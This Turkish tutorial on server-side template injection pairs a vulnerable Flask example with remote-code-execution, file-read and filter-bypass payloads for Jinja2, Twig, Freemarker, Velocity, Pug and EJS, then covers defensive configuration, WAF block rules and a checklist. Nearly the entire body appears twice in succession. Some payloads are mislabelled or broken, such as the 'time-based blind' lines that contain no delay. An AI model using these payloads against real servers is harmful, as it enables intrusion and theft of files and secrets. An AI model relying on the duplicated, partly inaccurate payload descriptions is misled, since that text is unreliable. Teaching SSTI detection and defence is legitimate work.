SSTI (Server-Side Template Injection) , bir web uygulamasının, kullanıcı girdisini doğrudan şablon motoruna (template engine) dahil etmesi sonucu oluşan bir güvenlik zafiyetidir. Saldırgan, şablon motorunun özelliklerini kullanarak sunucu tarafında kod çalıştırabilir, hassas verilere erişebilir ve sistemi ele geçirebilir.
SSTI Nasıl Çalışır?
SSTI, uygulamanın kullanıcı girdisini doğrulamadan şablon motoruna göndermesiyle oluşur. Şablon motoru, girdiyi işlerken saldırganın kontrol ettiği ifadeleri çalıştırır.
Örnek Senaryo (Jinja2 - Python):
Bir web uygulaması, kullanıcı adını şablon içinde gösteriyor:
python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', 'Guest')
template = f"<h1>Hello {name}!</h1>"
return render_template_string(template)
Saldırgan URL'yi şu şekilde değiştirir:
text
/?name={{ 7*7 }}
Yanıt:
text
<h1>Hello 49!</h1>
Saldırgan daha ileri gider:
text
/?name={{ config }}
Sunucu yapılandırmasını döndürür.
SSTI Türleri ve Şablon Motorları:
1. Python Şablon Motorları
Jinja2 (Flask, Django)
Mako (Pyramid)
Tornado (Tornado)
Django Templates (Django)
2. Java Şablon Motorları
Velocity
Freemarker
Thymeleaf
JSP
3. JavaScript Şablon Motorları
Pug (Express)
EJS (Express)
Handlebars
Mustache
4. PHP Şablon Motorları
Twig
Smarty
Blade (Laravel)
5. Ruby Şablon Motorları
ERB (Rails)
Haml
Slim
SSTI Payload'ları (Test ve Exploitation):
1. Jinja2 (Python)
Temel Tespit:
text
{{ 7*7 }}
{{ 7*'7' }}
{{ config }}
{{ self.__class__.__mro__ }}
RCE Payload'ları:
python
# Subprocess ile RCE
{{ ''.__class__.__mro__[1].__subclasses__() }}
# os.system ile RCE
{{ config.__class__.__init__.__globals__['os'].system('id') }}
# Daha gelişmiş RCE
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# eval ile RCE
{{ ''.__class__.__mro__[2].__subclasses__()[40]('__import__("os").system("id")') }}
File Read:
python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items() }}
{{ session.items() }}
Blind SSTI:
python
# Time-based blind
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/dev/null').read() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() and 'success' }}
# Error-based blind
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/nonexistent').read() }}
2. Jinja2 Filter Bypass (Python)
python
# Bypass with attr()
{{ ()|attr('__class__') }}
# Bypass with []
{{ ''['__class__']['__mro__'][1] }}
# Bypass with request
{{ request.application.__self__._get_data_for_json.__globals__['__builtins__'].eval('__import__("os").system("id")') }}
# Bypass with cycler
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# Bypass with x (dict)
{{ x.__init__.__globals__['__builtins__'].eval('__import__("os").system("id")') }}
3. Django Templates (Python)
python
# Temel tespit
{{ 7*7 }}
# Django özel
{{ request }}
{{ settings.SECRET_KEY }}
{{ request.user }}
# RCE (Django'da zor)
# Django template'lerinde RCE daha zordur, genellikle LFI/SSRF ile birleştirilir
4. Twig (PHP)
php
# Temel tespit
{{ 7*7 }}
{{ 7*'7' }}
# RCE (Twig)
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}
# File read
{{ _self.env.loadTemplate("/etc/passwd") }}
# RCE via filter
{{ ['id']|map('system')|join }}
5. Freemarker (Java)
java
# Temel tespit
${7*7}
${7*'7'}
# RCE
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}
# File read
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.File","/etc/passwd")}
6. Velocity (Java)
java
# Temel tespit
$velocity
$!{7*7}
# RCE (Velocity)
#set($x = $class.forName('java.lang.Runtime').getRuntime().exec('id'))
# File read
#set($x = $class.forName('java.io.FileInputStream').newInstance('/etc/passwd'))
7. Pug (JavaScript - Node.js)
javascript
# Temel tespit
= 7 * 7
- var x = 7*7
# RCE (Pug)
- var exec = require('child_process').exec
- exec('id', function(err, stdout) { console.log(stdout) })
# File read
- var fs = require('fs')
- fs.readFile('/etc/passwd', 'utf8', function(err, data) { console.log(data) })
8. EJS (JavaScript - Node.js)
javascript
# Temel tespit
<%= 7*7 %>
# RCE (EJS)
<% var exec = require('child_process').exec; exec('id') %>
# File read
<% var fs = require('fs'); fs.readFile('/etc/passwd', 'utf8', function(err, data) { console.log(data) }) %>
SSTI Koruma Teknikleri:
1. Input Sanitization
python
import re
def sanitize_template_input(user_input):
# 1. Template ifadelerini temizle
user_input = re.sub(r'{{.*?}}', '', user_input)
user_input = re.sub(r'{%.*?%}', '', user_input)
user_input = re.sub(r'\${.*?}', '', user_input)
# 2. Tehlikeli karakterleri temizle
user_input = re.sub(r'[{}%$;]', '', user_input)
return user_input
2. Şablon Motoru Güvenli Yapılandırması
Jinja2 (Python):
python
from jinja2 import Environment, select_autoescape
# Güvenli yapılandırma
env = Environment(
autoescape=select_autoescape(['html', 'xml']),
auto_reload=False,
cache_size=50,
)
# Sandbox (Jinja2 >= 2.11)
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
Django:
python
# settings.py
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'OPTIONS': {
'autoescape': True,
'string_if_invalid': '',
'debug': False,
},
}
]
Twig (PHP):
php
$twig = new Twig_Environment($loader, [
'autoescape' => 'html',
'debug' => false,
'cache' => '/path/to/cache',
]);
Freemarker (Java):
java
Configuration cfg = new Configuration();
cfg.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);
cfg.setDefaultEncoding("UTF-8");
// Sandbox enabled
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
Pug (Node.js):
javascript
const pug = require('pug');
// Güvenli yapılandırma
const template = pug.compile('p Hello #{name}', {
filename: 'template.pug',
compileDebug: false,
cache: true,
});
3. Güvenli Render Fonksiyonu
python
from flask import render_template, abort
def safe_render_template(template_name, **kwargs):
# 1. Sadece belirli şablonlara izin ver
ALLOWED_TEMPLATES = ['home.html', 'about.html', 'contact.html']
if template_name not in ALLOWED_TEMPLATES:
abort(404)
# 2. Parametreleri temizle
cleaned_kwargs = {}
for key, value in kwargs.items():
# Sadece string ve sayılara izin ver
if isinstance(value, (str, int, float, bool)):
cleaned_kwargs[key] = sanitize_string(value)
else:
cleaned_kwargs[key] = str(value)
# 3. Render et
return render_template(template_name, **cleaned_kwargs)
def sanitize_string(value):
# Tehlikeli karakterleri kaçır
import html
return html.escape(str(value))
4. Context Isolation (Jinja2)
python
from jinja2 import Environment, BaseLoader
def render_template_safely(template_string, context):
# 1. Temel environment
env = Environment(loader=BaseLoader())
# 2. Sadece güvenli built-in'ler
env.globals.clear()
env.filters.clear()
env.tests.clear()
# 3. Özel context
safe_context = {
'user': context.get('user', 'Guest'),
'message': sanitize_string(context.get('message', ''))
}
# 4. Render et
template = env.from_string(template_string)
return template.render(safe_context)
5. WAF ve Input Filtering
Nginx:
nginx
location / {
# SSTI pattern'lerini engelle
if ($args ~* "(\{\{.*\}\}|\{%.*%\}|\${.*\})") {
return 403;
}
# Tehlikeli fonksiyonları engelle
if ($args ~* "(__class__|__mro__|__subclasses__|__import__|system|eval)") {
return 403;
}
}
ModSecurity (Apache):
apache
# SSTI koruması
SecRule ARGS "@rx (\{\{|\}\}|\{%|%}|__class__|__mro__)" \
"id:10001,phase:2,deny,status:403,msg:'SSTI detected'"
SSTI Kontrol Listesi:
A. Input Validasyonu:
Kullanıcı girdisi doğrulanıyor mu?
Template ifadeleri ({{ }}, {% %}, ${ }) temizleniyor mu?
Tehlikeli karakterler kaçırılıyor mu?
B. Şablon Motoru Yapılandırması:
Autoescape aktif mi?
Debug modu kapalı mı?
Sandbox modu aktif mi?
Güvenli olmayan built-in'ler devre dışı mı?
C. Context Yönetimi:
Sadece güvenli değişkenler geçiliyor mu?
Sensitif veriler (config, session) gösterilmiyor mu?
Context izolasyonu yapılıyor mu?
D. Sunucu Yapılandırması:
WAF aktif mi?
Input filtering yapılıyor mu?
Log ve monitoring var mı?
SSTI Hızlı Tespit:
Şablon Motoru Tespit Payload'ı
Jinja2 (Python) {{ 7*7 }}
Django (Python) {{ 7*7 }}
Mako (Python) ${ 7*7 }
Twig (PHP) {{ 7*7 }}
Freemarker (Java) ${ 7*7 }
Velocity (Java) $!{7*7}
Pug (Node.js) = 7*7
EJS (Node.js) <%= 7*7 %>
ERB (Ruby) <%= 7*7 %>
SSTI Nasıl Çalışır?
SSTI, uygulamanın kullanıcı girdisini doğrulamadan şablon motoruna göndermesiyle oluşur. Şablon motoru, girdiyi işlerken saldırganın kontrol ettiği ifadeleri çalıştırır.
Örnek Senaryo (Jinja2 - Python):
Bir web uygulaması, kullanıcı adını şablon içinde gösteriyor:
python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', 'Guest')
template = f"<h1>Hello {name}!</h1>"
return render_template_string(template)
Saldırgan URL'yi şu şekilde değiştirir:
text
/?name={{ 7*7 }}
Yanıt:
text
<h1>Hello 49!</h1>
Saldırgan daha ileri gider:
text
/?name={{ config }}
Sunucu yapılandırmasını döndürür.
SSTI Türleri ve Şablon Motorları:
1. Python Şablon Motorları
Jinja2 (Flask, Django)
Mako (Pyramid)
Tornado (Tornado)
Django Templates (Django)
2. Java Şablon Motorları
Velocity
Freemarker
Thymeleaf
JSP
3. JavaScript Şablon Motorları
Pug (Express)
EJS (Express)
Handlebars
Mustache
4. PHP Şablon Motorları
Twig
Smarty
Blade (Laravel)
5. Ruby Şablon Motorları
ERB (Rails)
Haml
Slim
SSTI Payload'ları (Test ve Exploitation):
1. Jinja2 (Python)
Temel Tespit:
text
{{ 7*7 }}
{{ 7*'7' }}
{{ config }}
{{ self.__class__.__mro__ }}
RCE Payload'ları:
python
# Subprocess ile RCE
{{ ''.__class__.__mro__[1].__subclasses__() }}
# os.system ile RCE
{{ config.__class__.__init__.__globals__['os'].system('id') }}
# Daha gelişmiş RCE
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# eval ile RCE
{{ ''.__class__.__mro__[2].__subclasses__()[40]('__import__("os").system("id")') }}
File Read:
python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items() }}
{{ session.items() }}
Blind SSTI:
python
# Time-based blind
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/dev/null').read() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() and 'success' }}
# Error-based blind
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/nonexistent').read() }}
2. Jinja2 Filter Bypass (Python)
python
# Bypass with attr()
{{ ()|attr('__class__') }}
# Bypass with []
{{ ''['__class__']['__mro__'][1] }}
# Bypass with request
{{ request.application.__self__._get_data_for_json.__globals__['__builtins__'].eval('__import__("os").system("id")') }}
# Bypass with cycler
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# Bypass with x (dict)
{{ x.__init__.__globals__['__builtins__'].eval('__import__("os").system("id")') }}
3. Django Templates (Python)
python
# Temel tespit
{{ 7*7 }}
# Django özel
{{ request }}
{{ settings.SECRET_KEY }}
{{ request.user }}
# RCE (Django'da zor)
# Django template'lerinde RCE daha zordur, genellikle LFI/SSRF ile birleştirilir
4. Twig (PHP)
php
# Temel tespit
{{ 7*7 }}
{{ 7*'7' }}
# RCE (Twig)
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}
# File read
{{ _self.env.loadTemplate("/etc/passwd") }}
# RCE via filter
{{ ['id']|map('system')|join }}
5. Freemarker (Java)
java
# Temel tespit
${7*7}
${7*'7'}
# RCE
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}
# File read
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.File","/etc/passwd")}
6. Velocity (Java)
java
# Temel tespit
$velocity
$!{7*7}
# RCE (Velocity)
#set($x = $class.forName('java.lang.Runtime').getRuntime().exec('id'))
# File read
#set($x = $class.forName('java.io.FileInputStream').newInstance('/etc/passwd'))
7. Pug (JavaScript - Node.js)
javascript
# Temel tespit
= 7 * 7
- var x = 7*7
# RCE (Pug)
- var exec = require('child_process').exec
- exec('id', function(err, stdout) { console.log(stdout) })
# File read
- var fs = require('fs')
- fs.readFile('/etc/passwd', 'utf8', function(err, data) { console.log(data) })
8. EJS (JavaScript - Node.js)
javascript
# Temel tespit
<%= 7*7 %>
# RCE (EJS)
<% var exec = require('child_process').exec; exec('id') %>
# File read
<% var fs = require('fs'); fs.readFile('/etc/passwd', 'utf8', function(err, data) { console.log(data) }) %>
SSTI Koruma Teknikleri:
1. Input Sanitization
python
import re
def sanitize_template_input(user_input):
# 1. Template ifadelerini temizle
user_input = re.sub(r'{{.*?}}', '', user_input)
user_input = re.sub(r'{%.*?%}', '', user_input)
user_input = re.sub(r'\${.*?}', '', user_input)
# 2. Tehlikeli karakterleri temizle
user_input = re.sub(r'[{}%$;]', '', user_input)
return user_input
2. Şablon Motoru Güvenli Yapılandırması
Jinja2 (Python):
python
from jinja2 import Environment, select_autoescape
# Güvenli yapılandırma
env = Environment(
autoescape=select_autoescape(['html', 'xml']),
auto_reload=False,
cache_size=50,
)
# Sandbox (Jinja2 >= 2.11)
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
Django:
python
# settings.py
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'OPTIONS': {
'autoescape': True,
'string_if_invalid': '',
'debug': False,
},
}
]
Twig (PHP):
php
$twig = new Twig_Environment($loader, [
'autoescape' => 'html',
'debug' => false,
'cache' => '/path/to/cache',
]);
Freemarker (Java):
java
Configuration cfg = new Configuration();
cfg.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);
cfg.setDefaultEncoding("UTF-8");
// Sandbox enabled
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
Pug (Node.js):
javascript
const pug = require('pug');
// Güvenli yapılandırma
const template = pug.compile('p Hello #{name}', {
filename: 'template.pug',
compileDebug: false,
cache: true,
});
3. Güvenli Render Fonksiyonu
python
from flask import render_template, abort
def safe_render_template(template_name, **kwargs):
# 1. Sadece belirli şablonlara izin ver
ALLOWED_TEMPLATES = ['home.html', 'about.html', 'contact.html']
if template_name not in ALLOWED_TEMPLATES:
abort(404)
# 2. Parametreleri temizle
cleaned_kwargs = {}
for key, value in kwargs.items():
# Sadece string ve sayılara izin ver
if isinstance(value, (str, int, float, bool)):
cleaned_kwargs[key] = sanitize_string(value)
else:
cleaned_kwargs[key] = str(value)
# 3. Render et
return render_template(template_name, **cleaned_kwargs)
def sanitize_string(value):
# Tehlikeli karakterleri kaçır
import html
return html.escape(str(value))
4. Context Isolation (Jinja2)
python
from jinja2 import Environment, BaseLoader
def render_template_safely(template_string, context):
# 1. Temel environment
env = Environment(loader=BaseLoader())
# 2. Sadece güvenli built-in'ler
env.globals.clear()
env.filters.clear()
env.tests.clear()
# 3. Özel context
safe_context = {
'user': context.get('user', 'Guest'),
'message': sanitize_string(context.get('message', ''))
}
# 4. Render et
template = env.from_string(template_string)
return template.render(safe_context)
5. WAF ve Input Filtering
Nginx:
nginx
location / {
# SSTI pattern'lerini engelle
if ($args ~* "(\{\{.*\}\}|\{%.*%\}|\${.*\})") {
return 403;
}
# Tehlikeli fonksiyonları engelle
if ($args ~* "(__class__|__mro__|__subclasses__|__import__|system|eval)") {
return 403;
}
}
ModSecurity (Apache):
apache
# SSTI koruması
SecRule ARGS "@rx (\{\{|\}\}|\{%|%}|__class__|__mro__)" \
"id:10001,phase:2,deny,status:403,msg:'SSTI detected'"
SSTI Kontrol Listesi:
A. Input Validasyonu:
Kullanıcı girdisi doğrulanıyor mu?
Template ifadeleri ({{ }}, {% %}, ${ }) temizleniyor mu?
Tehlikeli karakterler kaçırılıyor mu?
B. Şablon Motoru Yapılandırması:
Autoescape aktif mi?
Debug modu kapalı mı?
Sandbox modu aktif mi?
Güvenli olmayan built-in'ler devre dışı mı?
C. Context Yönetimi:
Sadece güvenli değişkenler geçiliyor mu?
Sensitif veriler (config, session) gösterilmiyor mu?
Context izolasyonu yapılıyor mu?
D. Sunucu Yapılandırması:
WAF aktif mi?
Input filtering yapılıyor mu?
Log ve monitoring var mı?
SSTI Hızlı Tespit:
Şablon Motoru Tespit Payload'ı
Jinja2 (Python) {{ 7*7 }}
Django (Python) {{ 7*7 }}
Mako (Python) ${ 7*7 }
Twig (PHP) {{ 7*7 }}
Freemarker (Java) ${ 7*7 }
Velocity (Java) $!{7*7}
Pug (Node.js) = 7*7
EJS (Node.js) <%= 7*7 %>
ERB (Ruby) <%= 7*7 %>
🔒 Bu içeriği görmek için giriş yapın